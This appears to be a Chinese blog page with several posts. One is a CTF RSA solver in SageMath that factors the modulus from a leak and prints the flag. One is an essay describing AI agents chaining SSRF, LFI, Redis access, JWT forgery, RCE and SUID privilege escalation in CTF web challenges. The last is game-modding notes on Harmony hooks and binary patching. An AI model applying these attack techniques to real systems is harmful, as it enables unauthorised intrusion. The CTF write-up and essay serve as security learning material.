# raw roots = 496258591718074527429170043115095924865510813103833661/2 -10020295495220878073771490384561845649096829673493750624144958177133915585353023383154202880717251284678128613660050987268057731031645192971482072576671459
221
# solution m,t = (4, 2)
222
# x = 496258591718074527429170043115095924865510813103833661/2
223
# y = -10020295495220878073771490384561845649096829673493750624144958177133915585353023383154202880717251284678128613660050987268057731031645192971482072576671459
224
# p = 10932961240863053140021227333995503042196506533433133299916502568289020826078008576745192725272664686384293526720057562101790406102729886343233171385110689
225
# q = 9107629749578703007521753435128188255997152813554367948373413785978810344628038189563213036161837882971963700600044412434325055960560499599730973768232229
226
# recovered d bits = 180
227
# p + q = 20040590990441756147542980769123691298193659346987501248289916354267831170706046766308405761434502569356257227320101974536115462063290385942964145153342918
228
# next pass is 2aa9c360df99cbb4209e4dbab5a9f9ffd86d34906e3206fecfdabf0bb7aeb5ac

展开收起

level 3#

逐位求即可，注意 sagemath 的异或运算符

1
from Crypto.Util.number import long_to_bytes
2

3
n = 3656543170780671302102369785821318948521533232259598029746397061108006818468053676291634112787611176554924353628972482471754519193717232313848847744522215592281921147297898892307445674335249953174498025904493855530892785669281622228067328855550222457290704991186404511294392428626901071668540517391132556632888864694653334853557764027749481199416901881332307660966462957016488884047047046202519520508102461663246328437930895234074776654459967857843207320530170144023056782205928948050519919825477562514594449069964098794322005156920839848615481717184615581471471105167310877784107653826948801838083937060929103306952084786982834242119877046219260840966142997264676014575104231122349770882974818427591538551719990220347345614399639643257685591321500648437402084919467346049683842042993975696447711080289559063959271045082506968532103445241637971734173037224394103944153692310048043693502870706225319787902231218954548412018259
4
e = 65537
5
c = 1757914668604154089701710446907445787512346500378259224658947923217272944211214757488735053484213917067698715050010452193463598710989123020815295814709518742755820383364097695929549366414223421242599840755441311771835982431439073932340356341636346882464058493459455091691653077847776771631560498930589569988646613218910231153610031749287171649152922929066828605655570431656426074237261255561129432889318700234884857353891402733791836155496084825067878059001723617690872912359471109888664801793079193144489323455596341708697911158942505611709946252101670450796550313079139560281843612045681545992626944803230832776794454353639122595107671267859292222861367326121435154862607517890329925621367992667728899878422037182817860641530146234730196633237339901726508906733897556146751503097127672718192958642776389691940671356367304182825433592577899881444815062581163386947075887218537802483045756886019426749855723715192981635971943
6
leak = 153338022210585970687495444409227961261783749570114993931231317427634321118309600575903662678286698071962304436931371977179197266063447616304477462206528342008151264611040982873859583628234755013757003082382562012219175070957822154944231126228403341047477686652371523951028071221719503095646413530842908952071610518530005967880068526701564472237686095043481296201543161701644160151712649014052002012116829110394811586873559266763339069172495704922906651491247001057095314718709634937187619890550086009706737712515532076
7

8
CONST1 = 0xDEADBEEFCAFEBABE123456789ABCDEFFEDCBA9876543210
9
CONST2 = 0xCAFEBABEDEADBEEF123456789ABCDEF0123456789ABCDEF
10
CONST3 = 0x123456789ABCDEFFEDCBA9876543210FEDCBA987654321
11
MOD128 = 1 << 128
12
MASK64 = (1 << 64) - 1
13

14
print('n bits =', n.nbits())
15
print('leak bits =', leak.nbits())
16

17

18

19
def leak_mod_mask(p_value, q_value, mask):
20
    mixed = (
21
        (p_value * CONST1) ## use sagemath
22
        ^^ (q_value * CONST2)
23
        ^^ ((p_value & q_value) << 64)
24
        ^^ ((p_value | q_value) << 48)
25
        ^^ ((p_value ^^ q_value) * CONST3)
26
    )
27
    return ((mixed + ((p_value + q_value) % MOD128)) ^^ ((p_value * q_value) & MASK64)) & mask
28

29
candidates = [(Integer(1), Integer(1))]
30

31
for bit_index in range(1, 1536):
32
    modulus = Integer(1) << (bit_index + 1)
33
    mask = modulus - 1
34
    target_n = n & mask
35
    target_leak = leak & mask
36
    next_candidates = []
37
    seen = set()
38

39
    for p_low, q_low in candidates:
40
        for p_bit in (0, 1):
41
            for q_bit in (0, 1):
42
                trial_p = p_low | (Integer(p_bit) << bit_index)
43
                trial_q = q_low | (Integer(q_bit) << bit_index)
44

45
                if ((trial_p * trial_q) & mask) != target_n:
46
                    continue
47
                if leak_mod_mask(trial_p, trial_q, mask) != target_leak:
48
                    continue
49

50
                key = (int(trial_p), int(trial_q))
51
                if key not in seen:
52
                    seen.add(key)
53
                    next_candidates.append((trial_p, trial_q))
54

55
    candidates = next_candidates
56
    if len(candidates) != 1:
57
        print('bit', bit_index + 1, 'candidate count =', len(candidates))
58

59
    if not candidates:
60
        raise ValueError(f'No candidate survives at bit {bit_index + 1}.')
61

62
p, q = candidates[0]
63
print('final candidate count =', len(candidates))
64
print('p * q == n ->', p * q == n)
65

66

67

68
phi = (p - 1) * (q - 1)
69
d = inverse_mod(e, phi)
70
m = power_mod(c, d, n)
71
flag = long_to_bytes(int(m))
72

73
print('p =', p)
74
print('q =', q)
75
print('d bits =', Integer(d).nbits())
76
print('flag =', flag.decode())
77

78
# n bits = 3072
79
# leak bits = 1722
80
# final candidate count = 1
81
# p * q == n -> True
82
# p = 1707409731376314795999673399644896831773113631916193464259935767498639233398656041693151647684636824933980722820855222725690297941643517419906221825861730073489224554305559179283922396783611098752937409830400941648419260598819028494552512482509512236956144966960506482426135682006340832164470103583395459735070745893411476234089404558564875229768662461905874150673437533528191205114624917667791799816966017830043080586780620851038224028348188524334138215456616749
83
# q = 2141573345627585371553787251648053741410445905256360451856340437573603641142767425814601119975790360922588103737873793493614076837288293103777795188569218362732735616305950754442774259470221411601014586798147206055920156749954034989669601788173864983031343224818275175942690789067112461738865540083192521838275489406927966810543155749231403489582462847315255827362973792259727757243033997062234932720733059810639405260209480382634232650958389211775287627610180991
84
# d bits = 3071
85
# flag = dart{379c9308-e9a8-45a1-bd55-45bbd822e86d}

展开收起

AI Agent 使用感想#

此前最多使用的是 Copilot Pro，再之前经常使用 Web 端。从 Web 端到 Agent 已然令我惊艳，但又第一次在比赛中尝试使用 Codex 后，发现我仍然低估了技术的发展。这并不是说特指哪一家的 Agent，而是整个领域的极大进步。

crypto-RSA 题目是借助 Copilot Opus 4.6 完成的，Opus 4.6 对题目的理解非常精准到位，可以很快地分析出每一关的关键所在，并自动进行密钥比对和判定，然后给出了分步的解题代码。在 Jupyter NoteBook 交互中大胆质疑工具的可靠性并重新尝试。然而对一些冷门工具如 SageMath 的使用不是很熟悉，需要提示词引导通过 Jupyter 使用 SageMath 来完成解题。

Web-Auth 题目是第一次使用了 Codex GPT-5.4 xhigh 来完成，在整个过程中，我只负责了部分思路的纠正和引导，例如最开始的 SSRF&错误回显漏洞是人工直接指出(当然我相信 Codex 有这个能力可以独立发现)。随后 Codex 独立尝试了 LFI 本地 /proc 下进程信息，探测到了 Redis 服务和 RPC 服务，

Codex 拿 Redis 敏感文件并尝试 SSRF 渗透 Redis

Codex 发现新的服务并第一时间找到 RCE 关键

image-20260322133736280

Codex 跑偏了

受阻后总结并等待指示

取证到关键线索

通过 Secret Key 泄露伪造 JWT

总结利用链并尝试 get flag

整段 Agent 分析大约用了 3h，除去使用的第三方 API 的原因外，本身思考似乎也比较费时，但丰富全面的经验还是无可比拟的。

Web-thymeleaf 则是第二次尝试 Agent 渗透，

源码审计中

PRNG 伪随机数漏洞直接秒了

Codex 成功 RCE 但死磕 400 的 /flag 不提权

在人工提醒下尝试 SUID 提权

立即提权成功

其中，RCE 的摸索是这题中 Agent 花费时间最多的地方，但如果人工审计的话可能也不会很快。Codex 胜出在自动化和智能化的分析和利用上。如果有正确的方向会很快地完成实现，如果没有具体的方向也会不断地尝试摸索。

总的来说，AI Agent 在安全方面的应用体验非常惊艳，令人印象深刻。虽然在某些细节上可能需要人工的引导和纠正，例如工具的提供、细节方向的修正等，但整体上它极大地提升了效率和成功率。

此次体验算是完全打破了我以往对学习认知的方法论的理解，之前我一直认为学习是一个人类主导的过程，AI 可以作为辅助工具来使用，但这次的体验让我意识到 AI Agent 已经具备了独立思考和解决问题的能力，人与 AI 的主要矛盾已经不再是人类主导还是 AI 主导的问题，而是如何更好地协同工作的问题。人不能只想着如何与 AI 进行竞争，而是应该思考如何与 AI 进行合作，发挥各自的优势来解决问题。人需要认识到并承认自己的局限性，承认 AI 无可比拟的进步速度，如此才能更好地利用 AI 来提升自己的能力，而不是陷入无谓的竞争中。

正好在 Re 群看到之前「正规子群」师傅在去年就有提到过 CTF Agent 的开发和使用，我还是慢人许久才真正体验了一把。未来应当把重心放到如何更好利用 AI 上来，摒弃传统的学习方法论。

分享一则视频

阳和平：AI挑战传统学习和教育，抗拒者将被无情淘汰

东方夜雀食堂-Mod-制作笔记

Wed, 10 Dec 2025 00:00:00 GMT

前言#

该日记主要随着分析和开发进度推进而更新，因此一般来说靠后的研究更有参考价值，靠前的研究大多为实验

安装 BepInEx#

hello world#

获取字体列表#

在 PluginManager.Awake 执行

1
// 获取并记录所有加载的字体
2
Font[] fonts = Resources.FindObjectsOfTypeAll<Font>();
3
Log.LogMessage("Loaded Fonts:");
4
foreach (var font in fonts)
5
{
6
    Log.LogMessage("Font: " + font.name);
7
}

获取到如下字体

Terminal window

1
Loaded Fonts:
2
Font: JYHPHZ
3
Font: SongMyung-Regular
4
Font: SiYuan
5
Font: KaiseiTokumin-ExtraBold
6
Font: jiangxizhuokai

想到哪分析到哪#

移动交互类(DayScene)

1
DayScene.Input.DayScenePlayerInputGenerator.OnMovePerformed
2
DayScene.Input.DayScenePlayerInputGenerator.OnMoveCanceled
3
DayScene.Input.DayScenePlayerInputGenerator.OnSprintPerformed
4
DayScene.Input.DayScenePlayerInputGenerator.OnSprintCanceled
5
DayScene.Input.DayScenePlayerInputGenerator.TryInteract

玩家按下方向键时，OnMovePerformed 被调用，切换方向键时，OnMovePerformed 被调用，松开全部方向键时OnMoveCanceled 被调用。按下 小跑 键后，OnSprintPerformed 被调用，直到松开后 OnSprintCanceled被调用。玩家按下 交互 键时，无论有无实际可交互对象，都会执行 TryInteract

OnMovePerformed 会在处理后将方向向量传入 Common.CharacterUtility.CharacterControllerInputGeneratorComponent.UpdateInputDirection

1
v23 = DEYU_Utils_VectorMatrix__Matrix_6446669568(v17, _9__16_0, 0LL);
2
x_low = (__m128)LODWORD(v23.fields.x);
3
y_low = (__m128)LODWORD(v23.fields.y);
4
x_low.m128_f32[0] = v23.fields.x * this->fields.moveSpeed;
5
y_low.m128_f32[0] = v23.fields.y * this->fields.moveSpeed;
6
Common_CharacterUtility_CharacterControllerInputGeneratorComponent__UpdateInputDirection(
7
    (Common_CharacterUtility_CharacterControllerInputGeneratorComponent_o *)this,
8
    (UnityEngine_Vector2_o)*(_OWORD *)&_mm_unpacklo_ps(x_low, y_low),
9
    0LL);

该 Common.CharacterUtility.CharacterControllerInputGeneratorComponent.UpdateInputDirection 的入参 Vector2 inputDirection 有且仅有以下⑨个可能的值 {(0,0),(1,0),(0,1),(−1,0),(0,−1),(22,22),(22,−22),(−22,22),(−22,−22)}\{(0, 0), (1, 0), (0, 1), (-1, 0), (0, -1), (\frac{\sqrt{2}}{2}, \frac{\sqrt{2}}{2}), (\frac{\sqrt{2}}{2}, -\frac{\sqrt{2}}{2}), (-\frac{\sqrt{2}}{2}, \frac{\sqrt{2}}{2}), (-\frac{\sqrt{2}}{2}, -\frac{\sqrt{2}}{2})\}{(0,0),(1,0),(0,1),(−1,0),(0,−1),(22,22),(22,−22),(−22,22),(−22,−22)}

尝试打印出了 DayScene.DaySceneMap.allCharacters 的各个坐标，大部分是指示地图上角色的位置，但是玩家操纵的小碎骨不在此列

1
var characters = DayScene.DaySceneMap.allCharacters;
2
if (characters != null) {
3
    foreach (var kvp in characters) {
4
        var id = kvp.Key;
5
        var component = kvp.Value;
6
        if (component != null && component.gameObject != null) {
7
            var pos = component.gameObject.transform.position;
8
            Log.LogMessage($"Character {id}: {component.gameObject.name} at ({pos.x}, {pos.y}, {pos.z})");
9
        } else {
10
            Log.LogMessage($"Character {id}: null or no gameObject");
11
        }
12
    }
13
} else {
14
    Log.LogMessage("allCharacters is null");
15
}

展开收起

对实际小碎骨的位置的 getter 和 setter

1
public static Vector2? GetPlayerPosition()
2
{
3
    var characters = UnityEngine.Object.FindObjectsOfType<DayScene.Input.DayScenePlayerInputGenerator>();
4
    if (characters == null || characters.Length == 0) {
5
        Log.LogMessage("未找到 DayScenePlayerInputGenerator 实例");
6
        return null;
7
    }
8
    if (characters.Length > 1) {
9
        Log.LogWarning($"找到 {characters.Length} 个 DayScenePlayerInputGenerator 实例，使用第一个");
10
    }
11

12
    var character = characters[0];
13

14
    var characterUnit = character.Character;
15
    if (characterUnit == null) {
16
        Log.LogMessage("CharacterControllerUnit 为空");
17
        return null;
18
    }
19

20
    var rb = characterUnit.rb2d;
21
    if (rb == null) {
22
        Log.LogMessage("Rigidbody2D 为空");
23
        return null;
24
    }
25

26
    return rb.position;
27
}
28

29
public static void SetPlayerPosition(float x, float y)
30
{
31
    var characters = UnityEngine.Object.FindObjectsOfType<DayScene.Input.DayScenePlayerInputGenerator>();
32
    if (characters == null || characters.Length == 0) {
33
        Log.LogMessage("未找到 DayScenePlayerInputGenerator 实例");
34
        return;
35
    }
36
    if (characters.Length > 1) {
37
        Log.LogWarning($"找到 {characters.Length} 个 DayScenePlayerInputGenerator 实例，使用第一个");
38
    }
39

40
    var character = characters[0];
41

42
    var characterUnit = character.Character;
43
    if (characterUnit == null) {
44
        Log.LogMessage("CharacterControllerUnit 为空");
45
        return;
46
    }
47

48
    var rb = characterUnit.rb2d;
49
    if (rb == null) {
50
        Log.LogMessage("Rigidbody2D 为空");
51
        return;
52
    }
53

54
    rb.position = new Vector2(x, y);
55
    Log.LogMessage($"已设置玩家位置到 ({x}, {y})");
56
}

展开收起

由于是单机，小碎骨本身不存放地图数据，地图由 DayScene.SceneManager 管理，可以读取 DayScene.SceneManager.CurrentActiveMapLabel 来获取当前地图名

而实际执行传送机制的方法为 DayScene.SceneManager.SwapMap，如果需要检测是否执行传送，应考虑 hook 后者

1
public unsafe void SwapMap(string targetMapLabel, string targetMarkerName, int travelCount, bool shouldFadeIn = true, bool shouldFadeOut = true, bool triggerEnterMapEvent = true, Action onSwapFinish = null)

其中，travelCount 为花费 ?? 数

DayScene.SceneManager$$SwapMap

1
public unsafe void SwapMap(string targetMapLabel, string targetMarkerName, int travelCount, bool shouldFadeIn = true, bool shouldFadeOut = true, bool triggerEnterMapEvent = true, Action onSwapFinish = null)
2
void DayScene_SceneManager__SwapMap(
3
        DayScene_SceneManager_o *this,
4
        System_String_o *targetMapLabel,
5
        System_String_o *targetMarkerName,
6
        int32_t travelCount,
7
        bool shouldFadeIn,
8
        bool shouldFadeOut,
9
        bool triggerEnterMapEvent,
10
        System_Action_o *onSwapFinish,
11
        const MethodInfo *method)

执行地图切换的实际逻辑，有 DayScene_SceneManager$$SwapMapAsync 辅助

DayScene.DaySceneMap$$RefreshNPCs

1
public unsafe void RefreshNPCs(bool rotateCharacter = false)
2
void DayScene_DaySceneMap__RefreshNPCs(DayScene_DaySceneMap_o *this, bool rotateCharacter, const MethodInfo *method)

刷新当前地图上的所有NPC，处理角色实例化、位置更新和状态同步。会用到 DayScene.DaySceneMap$$SolveAndUpdateCharacterPositionInternal

DayScene.DaySceneMap$$SolveAndUpdateCharacterPositionInternal

public unsafe void SolveAndUpdateCharacterPositionInternal(Dictionary<string, TrackedNPC> npcs, TrackedNPC npc, CharacterConditionComponent character, out bool isNPCOnMap, bool changeRotation = false)

当地图更新时候加载，负责解决并更新角色在地图上的位置、旋转、碰撞器和可见性。处理正常位置更新、覆盖位置和特殊客人逻辑。传出 isNPCOnMap

研究 NPC 生命周期#

主要需要解决问题：Kyouko 正常只会在兽道才会被加载，在 Home 中不会被加载，因此需要提前加载 Kyouko

观察到 DayScene.DaySceneMap.allCharacters 存储着当前的全部 NPC 角

DayScene.DaySceneMap

1
public unsafe static Dictionary<string, CharacterConditionComponent> allCharacters;

在 Mystia 刚刚进入 Home 时，不会加载任何 NPC，allCharacters 为空，当 Mystia 进入户外时，allCharacter 被加入了多个对象。全局搜索发现只在 DayScene.DaySceneMap$$RefreshNPCs 被引用。RefreshNPCs 调用了 GameData.RunTime.DaySceneUtility.RunTimeDayScene$$GetMapNPCs 获取全部 NPC 对象。

GameData.RunTime.DaySceneUtility.RunTimeDayScene

1
public unsafe static Dictionary<string, TrackedNPC> GetMapNPCs(string mapLabel);

Home 地图下没有任何 NPC，BeastForest 地图下有非常多 NPC，考虑一个可能的尝试方案：hook GetMapNPCs 如果入参为 Home 则代理访问 GetMapNPCs("BeastForest") 把 Kyouko 拿过来用作为

1
[HarmonyPatch(nameof(RunTimeDayScene.GetMapNPCs))]
2
[HarmonyPrefix]
3
public static bool GetMapNPCs_Prefix(string mapLabel, ref Dictionary<string, TrackedNPC> __result)
4
{
5
    if (mapLabel != "Home")
6
    {
7
        return true;
8
    }
9

10
    Log.LogInfo("[RunTimeDayScenePatch] GetMapNPCs called for 'Home' map. Intercepting...");
11

12
    var beastForestNPCs = RunTimeDayScene.GetMapNPCs("BeastForest");
13
    foreach (var kvp in beastForestNPCs)
14
    {
15
        Log.LogInfo($"[RunTimeDayScenePatch] NPC in 'BeastForest': {kvp.Key}");
16
    }
17

18
    var kyouko = beastForestNPCs.ContainsKey("Kyouko") ? beastForestNPCs["Kyouko"] : null;
19
    if (kyouko != null)
20
    {
21
        Log.LogInfo("[RunTimeDayScenePatch] 'Kyouko' NPC found in 'BeastForest'.");
22

23
        var result = new Dictionary<string, TrackedNPC>();
24
        result.Add("Kyouko", kyouko);
25

26
        __result = result;
27
        return false;
28
    }
29
    else
30
    {
31
        Log.LogInfo("[RunTimeDayScenePatch] 'Kyouko' NPC NOT found in 'BeastForest'.");
32
        __result = new Dictionary<string, TrackedNPC>();
33
        return false;
34
    }
35
}

展开收起

1
[Warning:MetaMystia] [RunTimeDayScenePatch] NPC in 'BeastForest': Mike
2
[Warning:MetaMystia] [RunTimeDayScenePatch] 'Kyouko' NPC found in 'BeastForest'.
3
[Error  :     Unity] NPC = Kyouko
4
[Error  :     Unity] Key = Kyouko
5
[Error  :Il2CppInterop] During invoking native->managed trampoline
6
Exception: Il2CppInterop.Runtime.Il2CppException: System.Collections.Generic.KeyNotFoundException: The given key 'Kyouko' was not present in the dictionary.
7
--- BEGIN IL2CPP STACK TRACE ---
8
System.Collections.Generic.KeyNotFoundException: The given key 'Kyouko' was not present in the dictionary.
9
  at System.Collections.Generic.Dictionary`2[TKey,TValue].get_Item (TKey key) [0x00000] in <00000000000000000000000000000000>:0
10
  at DayScene.DaySceneMap.SolveAndUpdateCharacterPositionInternal (System.Collections.Generic.Dictionary`2[TKey,TValue] npcs, GameData.RunTime.DaySceneUtility.Collection.TrackedNPC npc, DayScene.Interactables.Collections.ConditionComponents.CharacterConditionComponent character, System.Boolean& isNPCOnMap, System.Boolean changeRotation) [0x00000] in <00000000000000000000000000000000>:0
11
--- END IL2CPP STACK TRACE ---
12

13
   at Il2CppInterop.Runtime.Il2CppException.RaiseExceptionIfNecessary(IntPtr returnedException) in /home/runner/work/Il2CppInterop/Il2CppInterop/Il2CppInterop.Runtime/Il2CppException.cs:line 36
14
   at DMD<DayScene.DaySceneMap::SolveAndUpdateCharacterPositionInternal>(DaySceneMap this, Dictionary`2 npcs, TrackedNPC npc, CharacterConditionComponent character, Boolean& isNPCOnMap, Boolean changeRotation)
15
   at (il2cpp -> managed) SolveAndUpdateCharacterPositionInternal(IntPtr , IntPtr , IntPtr , IntPtr , Byte& , Byte , Il2CppMethodInfo* )
16
[Message:MetaMystia] Kyouko visibility updated to False (Kyouko map: '', Mystia map: 'Home')

展开收起

DEYU：@MetaMiku SpecialGuests无法Copy，但是如果你只是想要场景里面存在一个不能互动的小人的话，可以用 SceneDirector.Instance.SpawnCharacter

Common.SceneDirector

1
// Token: 0x06005062 RID: 20578 RVA: 0x00002053 File Offset: 0x00000253
2
[Token(Token = "0x6005062")]
3
[Address(RVA = "0x7E39F0", Offset = "0x7E23F0", VA = "0x1807E39F0")]
4
public void SpawnCharacter(SceneDirector.Identity characterType, int characterId, Vector2 startPosition, string label)
5
{
6
}

该方法可以很方便地直接创建角色，并可以通过相同的方式进行控制，但是该方法所创建的角色是使用世界坐标，这意味着切换地图时，角色不会消失。可以考虑修改 z 值到 -10 及以下

启用 EnableDebugCosole#

DEYU：@MetaMiku 你有Hook的技术的话你优先Hook SplashScene.SceneManager.EnableDebugCosole 让其返回true，并且Hook SplashScene.SceneManager.CurrentConsoleMode 让其返回 ConsoleMode.Full (0)

Hook#

SplashScene.SceneManager展开收起

1
// Token: 0x17000203 RID: 515
2
// (get) Token: 0x060005B5 RID: 1461 RVA: 0x000B0CCC File Offset: 0x000AEECC
3
public unsafe static bool EnableDebugCosole
4
{
5
  [CallerCount(299)]
6
  [CachedScanResults(RefRangeStart = 25582, RefRangeEnd = 25881, XrefRangeStart = 25582, XrefRangeEnd = 25582, MetadataInitTokenRva = 0L, MetadataInitFlagRva = 0L)]
7
  get
8
  {
9
    IntPtr* ptr = null;
10
    IntPtr intPtr2;
11
    IntPtr intPtr = IL2CPP.il2cpp_runtime_invoke(SceneManager.NativeMethodInfoPtr_get_EnableDebugCosole_Public_Static_get_Boolean_0, 0, (void**)ptr, ref intPtr2);
12
    Il2CppException.RaiseExceptionIfNecessary(intPtr2);
13
    return *IL2CPP.il2cpp_object_unbox(intPtr);
14
  }
15
}

展开收起

该字段只有 getter 无 setter，优先考虑 hook getter

1
[HarmonyPatch(typeof(SplashScene.SceneManager))]
2
public class SplashSceneSceneManagerPatch
3
{
4
    private static ManualLogSource Log => Plugin.Instance.Log;
5

6
    [HarmonyPatch("EnableDebugCosole", MethodType.Getter)]
7
    [HarmonyPostfix]
8
    public static void EnableDebugCosole_Postfix(ref bool __result)
9
    {
10
        __result = true;
11
    }
12

13
    [HarmonyPatch("CurrentConsoleMode", MethodType.Getter)]
14
    [HarmonyPostfix]
15
    public static void CurrentConsoleMode_Postfix(ref GamePlatform.Systems.ConsoleMode __result)
16
    {
17
        __result = GamePlatform.Systems.ConsoleMode.Full;
18
    }
19
}

展开收起

无法启动，游戏报错

1
[Error  :     Unity] Unable to read the setting file at
2
Memory\Mystia.setting
3
[Error  :     Unity] NotSupportedException: Collection is read-only.
4
[Message:     Unity] UnivGameMana: Awake
5
[Error  :     Unity] Unable to read the setting file at
6
Memory\Mystia.setting
7
[Error  :     Unity] NotSupportedException: Collection is read-only.

如果强行删掉 Memory\Mystia.setting 文件会报错

1
NotSupportedException: Collection is read-only.
2
  at System.Collections.ObjectModel.Collection`1[T].Insert (System.Int32 index, T item) [0x00000] in <00000000000000000000000000000000>:0
3
  at Newtonsoft.Json.JsonSerializer.ApplySerializerSettings (Newtonsoft.Json.JsonSerializer serializer, Newtonsoft.Json.JsonSerializerSettings settings) [0x00000] in <00000000000000000000000000000000>:0
4
  at Newtonsoft.Json.JsonSerializer.CreateDefault () [0x00000] in <00000000000000000000000000000000>:0
5
  at Newtonsoft.Json.JsonConvert.SerializeObject (System.Object value, Newtonsoft.Json.Formatting formatting) [0x00000] in <00000000000000000000000000000000>:0
6
  at GameData.Utils.SaveManagement.SaveSettingData (GameData.Utils.PlayerSettings playerSettings) [0x00000] in <00000000000000000000000000000000>:0
7
  at GameData.Utils.SaveManagement.LoadSettingData () [0x00000] in <00000000000000000000000000000000>:0
8
  at Common.UI.EscapeUtility.EscConfigPannel.get_CurrentSettings () [0x00000] in <00000000000000000000000000000000>:0
9
  at Common.UI.EscapeUtility.EscConfigPannel.get_CurrentLanguage () [0x00000] in <00000000000000000000000000000000>:0
10
  at SplashScene.SceneManager.Awake () [0x00000] in <00000000000000000000000000000000>:0

出问题的是这几行

1
void SplashScene_SceneManager__Awake(SplashScene_SceneManager_o *this, const MethodInfo *method)
2
{
3
  // ...
4
  CurrentLanguage = Common_UI_EscapeUtility_EscConfigPannel__get_CurrentLanguage(0LL);
5
  if ( !GameData_MultiLanguageTextMeshCore_TypeInfo->_2.cctor_finished )
6
    il2cpp_runtime_class_init();
7
  GameData_MultiLanguageTextMeshCore__SetLanguageType(CurrentLanguage, 0LL);
8
  Common_UI_EscapeUtility_EscConfigPannel__MountCurrentSettings(0LL);
9
  Config = GamePlatform_Systems_Launch__GetConfig(0LL);
10
  // ...
11
}

配置/设置文件无法加载

延迟 hook#

尝试修改 hook 方法，在进入游戏后再改该字段

1
[HarmonyPatch(typeof(SplashScene.SceneManager))]
2
public class SplashSceneSceneManagerPatch
3
{
4
    private static ManualLogSource Log => Plugin.Instance.Log;
5
    private static readonly string LOG_TAG = "[SplashSceneSceneManagerPatch]";
6
    public static SplashScene.SceneManager instanceRef = null;
7

8
    [HarmonyPatch("EnableDebugCosole", MethodType.Getter)]
9
    [HarmonyPostfix]
10
    public static void EnableDebugCosole_Postfix(ref bool __result)
11
    {
12
        __result = PluginManager.EnableDebugCosole; // EnableDebugCosole 初始为 false，会在进入游戏后根据需要随时更改
13
    }
14

15
    [HarmonyPatch("CurrentConsoleMode", MethodType.Getter)]
16
    [HarmonyPostfix]
17
    public static void CurrentConsoleMode_Postfix(ref GamePlatform.Systems.ConsoleMode __result)
18
    {
19
        __result = GamePlatform.Systems.ConsoleMode.Full;
20
    }
21
}

展开收起

启动游戏后，再改 PluginManager.EnableDebugCosole 实现对 SplashScene.SceneManager.EnableDebugCosole 的伪修改

结果导致资源全部无法加载，如果再改回 false，游戏会处于一种诡异的半加载状态

image-20251204030256959

image-20251204030331857

Patch-1#

再次推测可能是由于 hook 时间不够早，尝试从源头直接修改游戏 dll 文件

首先需要定位 EnableDebugCosole，诡异的是无法定位，如图

image-20251204030622722

同样是 readonly 的 CurrentConsoleMode 却能看到对应的 getter，而 EnableDebugCosole

回看 dnspy，用 il2cppdumper 导出的 Assembly-CSharp 可能更简单一点

SplashScene.SceneManager

1
// Token: 0x1700005E RID: 94
2
// (get) Token: 0x06000325 RID: 805 RVA: 0x00002DD8 File Offset: 0x00000FD8
3
[Token(Token = "0x1700005E")]
4
public static bool EnableDebugCosole
5
{
6
  [Token(Token = "0x6000325")]
7
  [Address(RVA = "0x42E0B0", Offset = "0x42CAB0", VA = "0x18042E0B0")]
8
  get
9
  {
10
    return default(bool);
11
  }
12
}

可以利用文件偏移量 Offset 在 010 中定位到代码

image-20251204032935555

或者更直接的用基址+偏移量即 VA 获取虚拟地址，在 IDA 中可以发现他指向了一个 il2cpp 段的方法

1
il2cpp:000000018042E0B0
2
il2cpp:000000018042E0B0                         ; =============== S U B R O U T I N E =======================================
3
il2cpp:000000018042E0B0
4
il2cpp:000000018042E0B0
5
il2cpp:000000018042E0B0                         ; bool DEYU_AssetHandleUtility_TempAssetHandle_object___get_IsPersistentAsset(DEYU_AssetHandleUtility_TempAssetHandle_T__o *this, const MethodInfo_42E0B0 *method)
6
il2cpp:000000018042E0B0                         DEYU_AssetHandleUtility_TempAssetHandle_object_$$get_IsPersistentAsset proc near
7
il2cpp:000000018042E0B0                                                                 ; CODE XREF: sub_180261430+C↑p
8
il2cpp:000000018042E0B0                                                                 ; DEYU_Utils_UnityEngineExtensionStatic__ReadAllFromFolderAsync_d__68$$MoveNext+123↑p ...
9
il2cpp:000000018042E0B0
10
il2cpp:000000018042E0B0                         method          = qword ptr  28h
11
il2cpp:000000018042E0B0
12
il2cpp:000000018042E0B0 32 C0                                   xor     al, al
13
il2cpp:000000018042E0B2 C3                                      retn
14
il2cpp:000000018042E0B2                         ; ---------------------------------------------------------------------------
15
il2cpp:000000018042E0B3 CC CC CC CC CC CC CC CC                 align 20h
16
il2cpp:000000018042E0B3 CC CC CC CC CC          DEYU_AssetHandleUtility_TempAssetHandle_object_$$get_IsPersistentAsset endp
17
il2cpp:000000018042E0B3

展开收起

DEYU_AssetHandleUtility_TempAssetHandle_object_$$get_IsPersistentAsset

看交叉引用也可以发现 SplashScene.SceneManager.Awake 确实有调用 get_IsPersistentAsset

因此作 Patch，将 (32 C0) xor al, al 改成 (BO 01) mov al, 1 即可

但是运行发现一切与 hook 方法别无二样

忽略异常#

试图在抛出异常的源头给跳过

1
// local variable allocation has failed, the output may be wrong!
2
void System_Collections_ObjectModel_Collection_object___Insert(
3
        System_Collections_ObjectModel_Collection_T__o *this,
4
        int32_t index,
5
        Il2CppObject *item,
6
        const MethodInfo_1BC3E10 *method)
7
{
8
  struct System_Collections_Generic_IList_T__o *items; // rdi
9
  System_Collections_ObjectModel_Collection_T__RGCTXs *rgctx_data; // r10
10
  __int64 _2_System_Collections_Generic_ICollection_T; // rax
11
  struct System_Collections_Generic_IList_T__o *v11; // rdi
12
  System_Collections_ObjectModel_Collection_T__RGCTXs *v12; // rcx
13
  __int64 v13; // rax
14

15
  items = this->fields.items;
16
  if ( !items )
17
    goto LABEL_12;
18
  rgctx_data = method->klass->rgctx_data;
19
  _2_System_Collections_Generic_ICollection_T = (__int64)rgctx_data->_2_System_Collections_Generic_ICollection_T_;
20
  if ( (*(_BYTE *)(_2_System_Collections_Generic_ICollection_T + 306) & 1) == 0 )
21
    _2_System_Collections_Generic_ICollection_T = sub_180365730(rgctx_data->_2_System_Collections_Generic_ICollection_T_);
22
  if ( (unsigned __int8)sub_180002C50(1LL, _2_System_Collections_Generic_ICollection_T, items) )
23
    System_ThrowHelper__ThrowNotSupportedException_6478897136(28, 0LL);
24
  v11 = this->fields.items;
25
  if ( !v11 )
26
LABEL_12:
27
    sub_18033D420(this, *(_QWORD *)&index);
28
  v12 = method->klass->rgctx_data;
29
  v13 = (__int64)v12->_2_System_Collections_Generic_ICollection_T_;
30
  if ( (*(_BYTE *)(v13 + 306) & 1) == 0 )
31
    v13 = sub_180365730(v12->_2_System_Collections_Generic_ICollection_T_);
32
  if ( index > (unsigned int)sub_180002C50(0LL, v13, v11) )
33
    System_ThrowHelper__ThrowArgumentOutOfRange_IndexException(0LL);
34
